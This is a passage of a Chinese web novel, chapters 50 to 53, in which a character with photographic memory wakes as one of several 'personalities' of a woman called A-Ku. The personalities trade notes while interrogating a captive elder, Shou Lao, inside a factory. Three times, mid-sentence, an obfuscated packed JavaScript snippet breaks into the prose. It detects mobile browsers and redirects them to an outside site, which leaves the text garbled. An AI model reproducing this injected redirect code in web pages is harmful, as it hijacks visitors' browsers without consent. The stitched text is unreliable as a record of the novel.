昏暗的室内,公孙室面前摆放着一盆开水,水底散发蓝色的光,似乎是谁发动了超能力。 浑浊不清的声音从水中传来:“剑侠,牧首要我转告你一句话。” “她说:‘凡此过往,皆有所用。’” ...... 剑侠公孙室用笔尖指着协议上的一行字“进入万花筒后将被封存部分记忆。” 他的血液近乎沸腾起来。 封存记忆,会封存他作为剑侠的记忆,暴露他的超能力吗? 庞然的愉悦笼罩着他,偏偏他无法表现出分毫。 他旁边的陈影笙突然说:“你好像很开心。” 她怎么看出来的?公孙室调整出激动的表情: “能参与大案子,当然开心。” 陈影笙微微点头,似乎认可了他的解释。 6个人签完字,听李颖讲解案情,都做好进入万花筒的准备。 黑暗中,公孙室久久凝视陈影笙。 50. 阿苦的人格们 玩家幻忆师眼前出现了一段游戏CG般的画面。 首先映入眼帘的是村里一片低矮破旧的房屋,甚至不能叫房子,只能叫窝棚,它们由简陋的木材混着泥巴搭建而成。 屋顶的茅草在岁月的侵蚀下变得枯黄杂乱,土黄色的墙壁斑驳不堪,上面布满了雨水冲刷的痕迹。 村里没有路,只有一条踩踏出来的泥土道,道边随意堆放着一些破旧的农具和杂物,毫无章法可言。 一道年轻的女声像背景音一般响起:“我叫阿苦。” 她说的是象邦语,幻忆师不懂象邦语,却明白了她的意思。 “前面是我家。” 她家背靠一棵大树建起,小小窄窄的窝棚依附在大树上,不像用来居住的房子,更像是树上的寄生虫。 阿苦却说:“我的梦想是成为一棵大树。” 紧接着镜头一转,阿苦急匆匆出嫁。 “我以为嫁到外国能过上我想要的生活,我努力地学习语言,试图融入他们。然而,当我说出我想要一份工作时,所有人都阻止我。” 此时的阿苦不再说象邦语,她操着一口奇怪的普通话,偷偷收拾包裹连夜跑出家门。 她一路向南,跑到彩荫省和象邦国的接壤处。 幻忆师以为她想回家,但她很快用行动证实,她绝对不回村。 阿苦真的找到了工作,即使她知道不是正经工作,也咬牙面试。 面试官看到阿苦,两个人同时怔住。 原因无它,她们长得实在是太像了,阿苦和面试官几乎共用一张脸。 只是阿苦矮一点瘦一点,看上去没有面试官从容。 面试官收起惊讶的表情: “你好,欢迎来参加今天的面试,我是罗春喜,很高兴有机会与你交流。在接下来的面试过程中,我会秉持公正客观的态度,希望我们能进行一场坦诚而有价值的对话。” 阿苦竖着耳朵努力倾听,她肯定没全听懂,但能理解罗春喜的意思,她大声做自我介绍。 “很好,你的中文比我想象中要好。”罗春喜非常满意,“从哪里学的?” 阿苦立刻说出早已准备好的答案:“和我哥哥学的,他在彩荫省打过工。” 这是谎言,她不说自己嫁人的经历,因为她需要隐瞒一件事——她怀孕了。 两个月的身孕不显怀,她不说别人看不出来。 “这样啊。”罗春喜随手整理桌面上的文件,“去做个入职体检吧,没问题的话我给你办入职手续。” 阿苦捏着衣角,扭扭捏捏地不肯走。 “有什么顾虑吗?”罗春喜抬头问,她好像猜到什么,“体检费能报销,记得找医院要发票。” 阿苦结结巴巴地用不熟练的普通话说:“我、我没有钱,可以借给我钱吗?” 罗春喜愣住了。 她无奈地用象邦语说:“我一般是不借的。” 阿苦可怜兮兮地看着她。 “看在咱们长得这么像的份上,钱借给你,发工资后记得还。” 阿苦欢天喜地接过钱,一个劲地道谢。 然后她来到医院,拿着检查单悄悄躲进厕所。 尿检,能检测出是否怀孕的尿检。 阿苦穷且没见识,但她隐约知道,没有企业愿意雇佣一个孕妇,即使大家都说他们不是正经生意。 她来之前甚至做好了杀人放火的心理建设,不能被区区一个体检卡住。 阿苦在厕所隔间蹲了很久,直到尿检标本接收员来上厕所,她才找机会冲出来。 她装作若无其事的样子路过尿检标本台,拿了别人的尿样转身就走。 拿尿样时她特意选了个满的,把别人的尿一半倒进自己的试管中,再偷偷放回去。 最终体检合格,阿苦松了口气。 她预支工资把钱还给罗春喜,还完钱后她鼓足勇气:“谢谢你,我可以请你吃饭吗?” 罗春喜摆手:“不用,你回去好好休息,明天该进厂了。” “我进去后、做什么?”阿苦结结巴巴地问,“哪个岗位是我?” “进厂后就知道了。” 罗春喜意味深长地笑了。 画面定格在罗春喜的笑容上,幻忆师眼前一黑,灵魂仿佛从高处跌落进一具躯壳中。 最先出现在耳畔的是细微电流声,然后是穿透眼皮的、白茫茫的光。 幻忆师睁开双眼,眼前还是那片白得能穿透一切的光芒。 她动了动手指,冰凉的金属感传递到指尖丰富的感觉神经末梢,顺着脊髓上传至大脑皮层。 抬手微微遮住无影灯的光,幻忆师发现自己躺在金属手术台上。 突然,一个白色身影遮住刺目的光,在她身上投下一片阴影。 幻忆师眯起眼睛,看清面前的白发少女和她手里写满规则的纸张: 1.你们名叫阿苦,多重人格轮流控制身体。 2.世界上没有普通人,大家都是超能力者。即使你过去没有超能力,从现在开始你必须有。 3.门内的居住者是一位携带降维病毒的低维度来客,务必告知他世界上全是超能力者。 4.你们是高维度者,强于低维度者,这是宇宙法则。低维度者的血液是旧日的钥匙,让低维度者打开门献上鲜血。 5.实话是最好的谎言。 阅读完文字的瞬间,幻忆师......什么也没想起来。 文字仿佛从大脑皮层的褶皱上丝滑地溜过去,她虽然能记住,但好像突然间失去阅读功能。 幻忆师感受到前所未有的恐惧,她的手和脚全部变得瘫软,连控制指关节都做不到。 为什么? 她独一无二的、被人称颂的、引以为豪的记忆,为什么突然消失了? 现实与她之间隔了一层厚膜,她强迫自己冷静下来,疯狂翻找空白的大脑。 空荡荡的记忆宫殿中保留着刚才看到的规则,幻忆师松了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496027|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她虽然忘记一切,但照相式记忆力还在。 幻忆师戳破那层厚膜。 正对手术台的墙上用红色颜料写着四个端正大字。 【旧日工厂】 颜料有些斑驳,颜色也从鲜红色褪为暗红色,在“日”和“工”中间,贴着一排5张便签纸。 幻忆师跳下手术台,先看第一张便签的第一行。 【我是第二个醒来的人格启明星,便签是我们唯一的交流方式,但从醒来到灯灭只有3分钟。】 幻忆师停止阅读,默默计算剩余时间。 从睁眼醒来、阅读规则、因失忆恐惧到现在站在便签墙前,一共耗时1分20秒左右。 幻忆师立刻做出决定。 她强行将剩余文字记忆下来,文字像照片一样进入大脑,大脑却被命令停止理解文字的意思。 记忆文字用时40秒,幻忆师离开墙边,迅速检查整间手术室。 空气中有股刺鼻的消毒水味,尽管摆着手术台,但其实是一间厂房,头顶是纵横交错的通风管道,脚下是坚硬斑驳的水泥地面。 墙上用绿漆刷出半人高的踢脚线,旧日工厂四个字的上方挂着一条布满灰尘的红色横幅,上书“安全生产记心间,违规操作要避免”一行白字。 有一扇泛着冰冷金属光泽的高强度合金大门嵌进左边墙体内,和整间厂房格格不入。 屋内唯一的设备是幻忆师刚刚躺过的手术台。 说是手术台,却是金属构造,更像解剖台。幻忆师凑近金属台面,想借助反光看自己的长相。 遗憾的是,无论她怎么找角度,都看不到自己的脸,反倒看见很多指纹。 她伸出十指,找到边角处一块没有指纹的台面,轻轻按压下去。 很好,金属手术台上连一丝刮痕都没有,她的指纹被完美地保留下来,在无影灯的照耀下,简直和高分辨率的成像设备一样清晰。 经过比对,幻忆师发现台面上的指纹不全是自己的。 是医生的?或是把阿苦带到这里的工厂职工? 其中箕形三种,两右箕一左箕;斗形一种,呈圆环状...... 幻忆师还没研究完,无影灯灭了。 3分钟时间已到,正常人肯定尝试推开那扇合金大门,离开黑暗的厂房。 但幻忆师即使失去记忆,她也不能算是一个完全正常的人类。 幻忆师丝毫没有离开厂房的打算,也不惧怕黑暗。 她先在黑暗中用袖子认认真真地把金属台的右上角擦了三遍,保证上面不留一丝指纹。 然后她在最角落的位置轻轻按压十指,留下自己的指纹。 最后,她坐在地上倚靠冰凉的手术台,把脑海中的便签纸调出来,逐字阅读。 幻忆师看完后陷入沉思。 她有一个模糊的、需要论证的猜测:根本没有阿苦的多个人格,他们是完全不一样的人。 幻忆师决定用指纹验证一下。 51. 五张便签 第一张便签: 【我是第二个醒来的人格,名叫启明星,便签是我们的唯一交流方式,但从醒来到灯灭只有3分钟。 不要尝试将便签带出厂房。 我提议,每人最多写300字,给大家充分的阅读时间,让第7个人能在灯灭前看完。 门内的居住者自称寿佬,是一名老年男性。 他听见我的声音,立刻认出我是阿苦,并询问我是7个人格中的哪一位。 因为主人格第一个醒来,已经拜访过他,所以他知道我们的情况,但主人格没有留下便签。 我按照规则,告诉他世界上都是超能力者,我们的超能力是人格分裂,阿苦分裂出6个自己轮流出现。 很奇怪,他觉得世界上真的存在神,而且他“飞升”到我们这个充满神的世界。 可以用便签交流的事不要告诉寿佬,这是我们共同的底牌。】 第二张便签: 【对不起。 请叫我明目,室内的时间被我浪费了,和寿佬的谈话结束后,我才知道能写便签。 我猜室内一定贴着启明星的便签,但我没看见。 我告诉寿佬我的超能力——明辨谎言。 但我没有告诉他超能力发动条件,我需要一直注视着说话者的眼睛才能发动能力。 我用超能力威胁寿佬不准说谎话,以下是我得到的信息: 1.寿佬的房间无法进入。 2.寿佬第一个见到的是阿苦的主人格。 3.寿佬有超能力。 寿佬说完这些,突然不肯和我说话了。我尽量把纸条写满,让后面的人能一眼看见。】 第三张便签: 【我叫柔语者,是第4个醒来的阿苦。 长话短说,我捏造了一个叫“阿殁”的人格,我们7个不知道阿殁的存在,阿殁随机出现。 阿殁向寿佬索求鲜血,承诺带他逃出旧日工厂。 寿佬没有拒绝阿殁,但他说自己无法走出房门。 阿殁问,如果强行破门,寿佬会和他走吗? 寿佬突然不说话了。 如果有下一轮,阿殁的身份大家随便用,我会用柔语者身份和寿佬谈话,并尝试使用超能力。 捏造虚假人格是为了给我的超能力创造使用条件。 我的超能力是真心话,发动条件极其苛刻,需要和寿佬进行一轮问答且都说真话,发动成功可以催眠寿佬问一个问题。 问出的答案必为真话,寿佬会忘记被催眠的事。 但发动过程中寿佬一旦说假话,我的超能力今天之内无法对他使用。 请大家将关于寿佬的真相提供给我,我在确定他说的是真话后发动超能力,问他的真实身份。】 第四张便签: 【胡桃夹子上尉,5 寿佬问我外面的世界是什么样,我按照规则回答世界上都是超能力者,没有普通人。 寿佬却说,既然大家都是超能力者,那大家也都是普通人,世界上不该有“普通人”这个概念存在。 我问寿佬,阿苦的主人格说了什么,寿佬说主人格让我们好好相处。 主人格不能写便签吗? TOAKoo:Ifyouseemywords,pleaseleaveanote. 没人觉得规则里提到的“降维病毒”很奇怪吗?我描述给寿佬,寿佬听完哈哈大笑,说要出门传播疾病。 我回答说他敢出来,我就杀死他。】 上尉怕主人格阿苦既看不懂汉字也看不懂英文,他画了一个握笔写便签的小人,小人梳着短短的低马尾,和阿苦一模一样。 第五张便签: 【我是双面,第6个苏醒。 居住者是个好职业,寿佬是个有趣的人。 这句话好像是废话,不过无所谓了,第7个阿苦要是连便签都读不完,她肯定骗不过寿佬,对我们没什么用处。 我向寿佬提出一个很有建设性的提议。 我让他把门打开,我进去当居住者,他离开工厂去外面,而我将永远居住在旧日。 寿佬没有拒绝也没有同意,他先问我外面是什么样子,又问我世界上真的没有普通人吗,他对外面的世界很感兴趣。 我如实回答他,告诉他外面有普通人,他不说话了,可能觉得我在骗他吧。】 五个人的便签加起来一千字出头,幻忆师不到三分钟读完。 她对柔语者的超能力产生了很大兴趣。 正想分析一下明目得到的三条信息能不能给柔语者用,幻忆师闻道一股刺鼻的味道。 是乙/醚。 看来她在黑暗的厂房停留太久,工厂的主人对她很不满。 乙/醚好像从顶部的管道直接通进室内,她再不走会被迷晕。 幻忆师赶紧捂住口鼻,压低身体摸到合金大门。 用力一推,门开了,门外还是一片黑暗,合金大门发出轻响,听起来像自动上锁。 紧接着,被稀释过的消毒水从头顶从墙壁向幻忆师喷来。 幻忆师总算明白,启明星为什么说不要把便签带出厂房。 她被迫用消毒水洗澡,便签如果带在身上,上面的字肯定全氧化了,想看也看不清。 幻忆师紧闭双眼,但鼻腔内不可避免地吸进一些消毒水。 她的鼻子有股强烈的灼烧感。 等消毒水喷完了,头顶的灯才慢慢点亮。 幻忆师观察四周,发现自己身处一个气密性隔离仓内。 隔离仓两侧和天花板都是用高强度铝合金打造的双层夹板,刚刚的消毒水就是从夹板里喷出的。 正对着她的是一扇医用气密门,门四周围着一圈优质气密封条,像是在隔离传染病患者。 怪不得上尉重点关注规则里提到的降维病毒。 这个隔离仓的规格高得离谱,让人觉得寿佬本身是个巨大的病毒。 幻忆师走到蓝色的气密门前,通过小小的观察窗看到门外的景象。 门外竟然是一个建在室内的花园,但植物早已枯败,小径上满是枯黄的落叶,砖缝里长满荒芜的杂草。 在小径的尽头,有一扇圆圆的木门,看上去起不到半点防护作用。 观察窗下方安装着一个对讲设备,幻忆师屈指在上面敲了三下。 “别敲了,我知道你来了。” 对讲设备里响起居住者的声音。 居住者的声音老到无法形容,像是一柄刷了十年锅碗瓢盆的丝瓜瓤,里面镶嵌发馊的米粒和昆虫的尸体碎片。 通过声音很难判断具体年纪,只能知道他是位老年男性。 “你好。”幻忆师打招呼。 她很赞同启明星的决策,不能让寿佬知道他们有交流手段,她要装作对寿佬一无所知的样子。 “哈哈,你是第六个和我说你好的,你们阿苦很有礼貌。” “怎么称呼您?” “叫我寿佬。” 寿佬,很奇怪的自称。 “佬”字在南部沿海是个富含轻视的蔑称,比如乡巴佬、穷佬,都不是什么好词。 幻忆师委婉拒绝:“您是长辈,这不合适。” “让你叫你就叫,没什么不合适。”寿佬哑着声音训斥。 听他说话的口气,像是一名久居上位者。 他说话时会把声线压低,也不愿大声说话,想必不管他声音多小,都有人竖起耳朵听。 “为什么叫寿佬?” “我年纪很大了。”寿佬停顿一下,“很大很大了。” 很大是多大?幻忆师疑惑,不会是新历前出生的人吧? 新历前的人没见过超能力,很像规则里描述的低纬度来客。 寿佬问:“你是超能力者?” “我有超能力,但没听过‘超能力者’这个说法。” “为什么?”寿佬声音发颤。 “因为世界上所有人都有超能力,没必要单独列出‘超能力者’分类。” “超能力者”这个概念是相对于没有能力的人而言的。在一个全是超能力者的世界,原本用于区分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503235|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 超能力者和无能力者的标准消失了。 因为没有无能力者作对照,所以无法定义“超能力者”。 幻忆师觉得自己伪装不错,她遵守规则,装作一个来自全员超能力世界的阿苦。 “哈哈哈哈哈、咳咳。” 寿佬大笑起来,他的声音不再颤抖,原来他刚才在忍耐笑意。笑到一半他支撑不住,连声咳嗽。 咳完后,寿佬问:“你叫什么?” “阿苦。” “我是说你这个人格的名字。” “叫我幻忆师。” “好吧,幻忆师,你比之前的人格聪明,但聪明不到点上。” 幻忆师产生一点兴趣:“他们说了什么?” “上尉告诉我世界上只有超能力者,没有普通人。我问他,既然大家都是超能力者,那大家也都是普通人,他为什么把二者做出区分?” “你猜他回答什么?” 寿佬在试探阿苦的人格之间是否熟识,幻忆师无声判断。 她回答:“猜不出来。” “猜对了,他回答不出来。” “叫明目的人格更有意思,她给我这个低纬度来客做科普,说世界上没有普通人。” “所以您是低纬度来客吗?”幻忆师问。 “你觉得我是吗?” “我不知道。” “唉。”寿佬叹气,“你和启明星一样油滑。” 幻忆师欣然接受他的夸奖。 寿佬突然发问:“世界上还有普通人吗?” “大家都是有超能力的普通人。” “如果有一个没有超能力的人出现,外面的人会怎么对待他?”寿佬声音嘶哑。 世界上是否还有普通人对寿佬似乎非常重要,幻忆师暗暗记牢。 她回答:“谁知道呢?没见过那样的人。” 寿佬固执地问:“如果有呢?” 幻忆师认真想了想。 “没人在乎。”她漫不经心地说,“就像一块石头或一株杂草,谁会多看他一眼?不如墙上的一块污渍有吸引力。” 寿佬似乎在思考什么。 幻忆师不给他思考的机会:“您见过这样的人?” “见过,见过很多。” “请您讲一讲,我没见过这样的人。” 目的达成了。 从一开始,幻忆师将自己置于一个小辈的身份,对寿佬毕恭毕敬。她需要勾出寿佬的表达欲,让他说出更多有效信息。 可能因为她是最后一个前来拜访的阿苦,寿佬确实想说些什么。 他声音悠长:“曾经,我坐在神龛上,看到天边挂着苍然的诗歌,听见生命偶然绽放出的花朵。” 幻忆师听不懂,她选择沉默。 “然而花朵开不出美丽的新生命,我日复一日年复一年,睁眼看到的全是从圣柱底端攀爬上来的药渣。” “药渣们布满了整根圣柱,它们大多坚持不到最后,从圣柱上跌落,成为新的圣柱。” 幻忆师听得糊里糊涂,只听出来药渣应该是人,摔死很多。 “它们的乞求声中混杂着哀嚎与咒骂,和天边的赞美诗相映衬,我走到神龛的边缘,它们迫不及待地看向我。” “我不知道它们在看什么,一定不是看我,而是通过我去看什么我不知道的事物。” 寿佬停顿了一下,一口气说那么多话,对他衰老的身体是个挑战。 幻忆师忍不住问:“他们在看神明吗?” “咳咳咳,不是。”寿佬咳得有气无力,“不是那位热爱神降的神明。” 神降又是什么?神附身在凡人身上? “它们在看寄托之物。” “不需要神,更不需要我。它们在寻找某种能寄托痛苦、寄托希望、寄托一切的事物。” 寿佬气若游丝:“我站在神龛的边缘,仿佛被它们用眼神击穿,整座神龛摇摇欲坠。” “他们不知道,我的痛苦与它们的痛苦如出一辙。巨大的能压倒一切的悲伤萦绕在我身旁,我决定走下神龛。” 52. 秘密被胃酸溶解 寿佬的话语截止了。 幻忆师说:“然后呢?” “然后我靠药渣飞升到这里。” “所以你是低纬度者。” 从人间到仙界叫飞升,仙界可以视为较高的维度。 幻忆师不觉得自己的世界是仙界,但寿佬非要用“飞升”这个词语,姑且先将他当做低维度来客。 “哈哈。”寿佬不像在笑,“我和你们一样,我也拥有超能力,为什么我是低纬度者?” 幻忆师问:“药渣是什么?” “你觉得是什么?” 只看表意,药渣是中药材经煎煮后剩余的残渣。 幻忆师猜测:“人类当中的残渣?” “哈、咳。” 寿佬想笑,但硬生生憋住了。 他歇息一会,才慢慢说:“普通人是超能力者社会的药渣。” “普通人应该为此感到自豪,它们是超能力者的前置生命形态,没有它们无法诞生超能力者。” “但它们的诞生与进化只是为了超能力者的诞生,它们本身是毫无意义的。” 幻忆师不去评价他的发言,她问出第二个问题:“药渣为什么爬圣柱?圣柱又是什么?” “圣柱就是圣柱。”寿佬简短回答,“它们爬圣柱是为了能见到我,让我看一看家里尚未诞生的婴儿。” “你能看出什么?是用你的超能力看吗?” 幻忆师被寿佬的话语吸引全部心神,她甚至忘记以小辈自居的计划,没有说敬语。 寿佬沉默了。 许久,他问:“为什么阿苦留在旧日工厂?” “你知道这里是旧日工厂?” “主人格告诉我的,不能说吗?” 幻忆师用一副满不在乎的口吻回答:“没什么不能说的,拜访你是我在旧日工厂的工作。” 她不给寿佬反应时间,问出第三个问题:“会神降的神明是什么?” “你不知道吗?祂说祂来自你们的世界。” 幻忆师觉得很好笑:“我说过,我们都是有超能力的普通人,哪来的神明?” “有7个人格,7种超能力的普通人?”寿佬反问。 “是的,普通人。” “既然你的认知如此,那么我的神明在你眼里也是一位普通人。” 寿佬放轻声音,声音里包裹着他自己无法察觉的恐惧:“她能在任何人身上神降。” “抢夺别人的身体?”幻忆师脱口而出。 寿佬纠正:“是神降。” 那不就是夺舍吗?幻忆师默不作声地想。 她的记忆宫殿隐隐震动一下,她本应记得这位能够夺舍的故人,可惜她失去所有记忆。 所以幻忆师还有心情开玩笑:“真想看祂神降阿苦,祂降临后会取代我们当中的哪一个呢?” “是祂让你痛苦的?你怕祂随时在你身上神降?” 幻忆师等了很久,没等到寿佬的回答。 她又敲了敲对讲设备,设备连一丝回声都没有。 拜访结束了。 幻忆师感到意犹未尽。 尽管她无法分辨寿佬说的是不是真话,但她必须承认,寿佬是一个讲故事的天才,她的胃口完全被寿佬吊起来。 隔离仓一侧的夹层打开,里面静静躺着一本便签和一支被固定在铝合金板上的水笔。 幻忆师拿起笔,写下第一行字: 【我是第7个苏醒的幻忆师,我在手术台的右上角留下自己的指纹。如果有第二轮拜访,希望大家能留下指纹......】 笔尖停止在最后一个字,幻忆师意识到一件事。 如果他们不是人格,不使用同一具身体,而是完全独立的个体,那么谁能离开旧日工厂? 工厂的主人可不会好心到门一开把所有人叫醒,让他们排队出门。 只有得到寿佬鲜血的阿苦能出去,用便签达成的合作立刻变成一种竞争。 甚至会有人故意给别人制造困难,比如给柔语者提供谎话,让她发动不了超能力。 最可怕的是,如果有人想通过讨好寿佬获取鲜血,那么这个人可能把一切事情向寿佬全盘托出。 毕竟双面帮大家试过了,他违反规则,告诉寿佬外面有普通人,没有受到任何惩罚。 幻忆师把刚写两行字的便签揭下来,一点点撕碎,吞咽入腹。 让秘密被胃酸融解吧。 幻忆师重新写: 【我是第7个苏醒的幻忆师。 寿佬给我讲了他过去的故事。 世界上是否还有普通人对寿佬非常重要。 寿佬认为普通人是超能力者社会的前置,他管普通人叫药渣。 他曾经是某个宗教的神职人员,普通人通过苦行讨好他,只为让他看一看自家未出生的孩子。这似乎和他的超能力有关,他没有详细说明。 他信仰一位拥有夺舍能力的神明,他提到自己很痛苦,不知是否和神明有关。 主人格告诉他这里是旧日工厂。】 幻忆师阅读自己写的东西,200字以内,后面醒来的人格绝对可以看完。 她没有放下笔。 验证他们是否共用身体,还有一个办法。 幻忆师握紧笔,用力扎进手背,笔尖在手背的血肉中划出一个歪歪扭扭的十字叉。 细小的血珠渗出来,翻滚的白色皮肉边缘沾染着黑色墨水,伤口很快变得又红又肿。 手背一抽一抽的疼,幻忆师很满意,这种程度的疼痛刚刚好。 如果真的共用一具身体,割伤的疼痛可以让下一个醒来的人格立刻发现伤口,又不至于影响和寿佬的谈话。 幻忆师无比期待下一次苏醒。 她放下笔,拿着便签走到连通厂房的合金大门前,头顶的灯缓缓熄灭。 门开了。 幻忆师摸黑找到旧日工厂四个红字,把自己的便签贴上。 她兴奋地躺在冰冷的手术台上,刺鼻的乙/醚伴她进入梦乡。 ...... 玩家幻忆师从金属手术台上醒来。 她冲向便签墙。 启明星: 【是谁弄伤了我们的身体?年轻人稳重一点,很疼的。 幸好我的超能力可以治愈伤口,大家都小心一点,爱护身体。 主人格没有留下便签,或许我们应该想想别的办法。 我和寿佬聊他的超能力,他依然闭口不谈。 但聊到小孩子,他产生一点兴趣。 他说他一辈子没结婚,没有自己的孩子,但他依照神明的旨意收养过两个孩子,他和两个孩子像是一体的。 我再问孩子的名字,他不说话了。 为了刺激他说话,我告诉他阿苦怀孕了,他莫名其妙有些激动。】 手上的伤在疼,启明星说谎了,他根本没有治愈能力。 幻忆师无意识按压手上的叉型伤口,又看了一遍前两句话。 她跑回手术台旁,发现右上角留下的指纹被擦掉了。 是来自启明星的劝告。 启明星判断他们不是一具身体的不同人格,推测出肯定有人发现这个事实,发现者会用各种方式验证真假。 包括且不限于比对指纹、在身体上留下伤口...... 所以他写下劝告,他要让没发现的人永远发现不了,同时敲打发现者,让发现者保守秘密。 他们和寿佬都有自己的秘密,大家心怀鬼胎。如果他们内讧,难免不被寿佬利用。 那么阿苦去哪了? 就算她不会写汉字,在便签上写一点象邦语,也能证明自己的存在。 幻忆师暂时不想阿苦,她摸了摸手上的伤,无声地接受启明星沉默的劝告,回到墙边看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518814|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便签。 明目: 【我问寿佬,他的超能力是什么,寿佬说他惧怕我的超能力,不想和我说话。 我无奈承认自己骗了他,我的超能力不直视眼睛无法发动,并问他怎么看出来的。 寿佬回答我,他根本没有超能力,我分辨不出他的谎话,他就知道自己被骗了。 所以寿佬到底有没有超能力? 我使用身体的时间越来越短,好奇怪,有人和我一样吗?】 寿佬肯定有超能力。 幻忆师回忆自己拜访寿佬时,寿佬对普通人的蔑视。 那种从骨子里透出来的蔑视做不了假,他甚至真情实感地觉得普通人应该对“药渣”的身份感到骄傲。 至于明目说“使用身体时间变短”,幻忆师没看懂什么意思。 柔语者: 【看到明目的留言我不敢贸然发动超能力了。 很头疼,寿佬是一个满嘴谎话且相当谨慎的人。 他上一轮说自己有超能力,这一轮又说自己没有;他告诉幻忆师自己有信仰的神明,这一轮却和我说他没信仰。 老实说我对拿到血液离开旧日没有兴趣。 比起离开,我更想知道寿佬是谁,为什么被困在旧日,需要我们用这种方式不停地拜访他。 如果下一轮我无法找到适合发动能力的真话,我只能问简单的问题,暴露超能力,在他反应过来前催眠他。 这样的话,我的超能力只能用一次,他会意识到自己被催眠,拒绝和我说话。】 也不失为一个办法。 比如寿佬先问柔语者问题,柔语者用真话回答,柔语者再迅速问一个必然为真的公共问题。 假设她问:“你有妈妈吗?” 寿佬回答“有”,就会达成超能力发动条件。 当然这个例子颇具攻击性,幻忆师相信柔语者不会这么问。 但寿佬事后肯定会发现不对劲,意识到自己中招了。 必须得想办法确定一个关于寿佬的真相。 幻忆师的眼神离开柔语者的便签,然后她的神情凝固了。 上尉没有留下便签。 她先看双面的便签: 【没有上尉的便签,墙上的横幅消失了,白墙上还有几个灰脚印。 他不会是从头顶的通风管道逃走了吧?】 幻忆师抬头看,墙上果然有几个距离很大的脚印,她后退几步,用阿苦的身高丈量厂房层高。 然后,她得出一个惊人的结论——厂房层高6米。 上尉怎么上去的?她不由得产生疑惑。 当然,上尉也可能拿到鲜血,先离开了,一会找个办法问问寿佬。 但时间不允许她多想,她飞快把双面的便签看完。 【挺好,上尉跑了我多写点。 我再次向寿佬提出建议,我在旧日永居,他去外面的世界。 寿佬沉默好久,久到我以为他不想理我,他突然问我为什么。 我说因为住在旧日很有趣,总是有人来陪居住者像猜谜语一样聊天。 寿佬又问我外面是什么样子。 我怎么知道外面是什么样子,只能告诉他外面就是外面。 然后他叹气,说我果然在骗他。 他认为,我根本不知道“普通人”的含义,只是听他提起这三个字,便鹦鹉学舌般模仿出来,告诉他外面有普通人。 普通人不就是无能力者吗?我如此回答他。 他说,普通人可不止无能力那么简单,他们是药渣、是养料、是分式里的分母。 我认为,寿佬不是被关在旧日工厂,他那扇破门随便一脚就能踹开,他只是不想离开旧日。】 幻忆师紧皱眉头。 寿佬留在旧日没有任何意义,他不是不想离开,他确实被囚禁于此。 靠什么囚禁他呢? 53. 我即门关 幻忆师脑子里闪过一个模模糊糊的想法,她刚要抓住想法,手术台前的无影灯熄灭了。 该去拜访寿佬了。 经过消毒,她再次来到隔离仓。 幻忆师继续上次未完成的问题:“那位会神降的神明,是祂让你感到痛苦吗?” “算是吧。”寿佬的声音听上去有些疲惫。 “我时常想将自己作为神降的材料。” “然后呢?祂会把身体还给你吗?” “当然不会。”寿佬淡淡地说。 如果幻忆师还有记忆,她能立刻判断出,寿佬这种状态,就是上司太难搞,上班上到想死。 可惜幻忆师失忆了。 她质疑:“传说中神是全知全能的,祂不知道你想飞升吗?” “而且你说过,你用药渣飞升,是不是消耗了很多祂的信徒?” 寿佬不回答她的话,他问了一个不相干的问题:“你会关心路边一颗杂草的死活吗?” 幻忆师思考片刻,说出寿佬喜欢的回答:“不会。” 寿佬说:“神也不在乎。” “祂不在乎杂草,祂总得在乎你吧?”幻忆师猜测,“你是祂的神职人员吗?” “我猜祂在乎,所以我找到办法。”寿佬的声音很愉悦,“我屏蔽一切情绪,抛弃所有人性,只为飞升。” 寿佬补充:“当然,我借助了外力,那东西可能还留在我的飞升地。” 他为什么坚定地认为自己飞升了?幻忆师百思不得其解。 她决定实话实说,规则最后一条说了,实话是最好的谎言。 “你有没有想过,自己根本没有飞升?” “至少在这个世界,我没听说过飞升,也从未见过神明,这里有普通人也有超能力者。” “呵。”寿佬发出一声意义不明的笑,“你真的聪明不到点上,企图根据我的话语,分析我所在维度的情况,鹦鹉学舌一般骗我。” 幻忆师感受到一种无力。 她突然问:“你见到几个阿苦了?” 寿佬犹豫一下:“7个。” “奇怪,明明死了一个,你怎么见到7个?第一个拜访你的人格还是主人格阿苦吗?” 上尉没留便签不一定死了,幻忆师说他死了是想诈寿佬。 寿佬回避第一个问题:“我见到了主人格阿苦,她还是不愿意提及自己怀孕的事。” 幻忆师站在隔离仓正中,望着离她几步之遥的观察窗,透过长方形窗子看见小小的木门。 她像是一个立于云端的巨人,寿佬则是蜷缩在小盒子里的猫。 一瞬间,她突然明白是什么把寿佬囚禁在旧日。 阿苦就是囚禁寿佬的门。 那扇形同虚设的木门关不住任何人,阿苦们展现出的诡异和疯狂让寿佬对门外的未知世界充满畏惧。 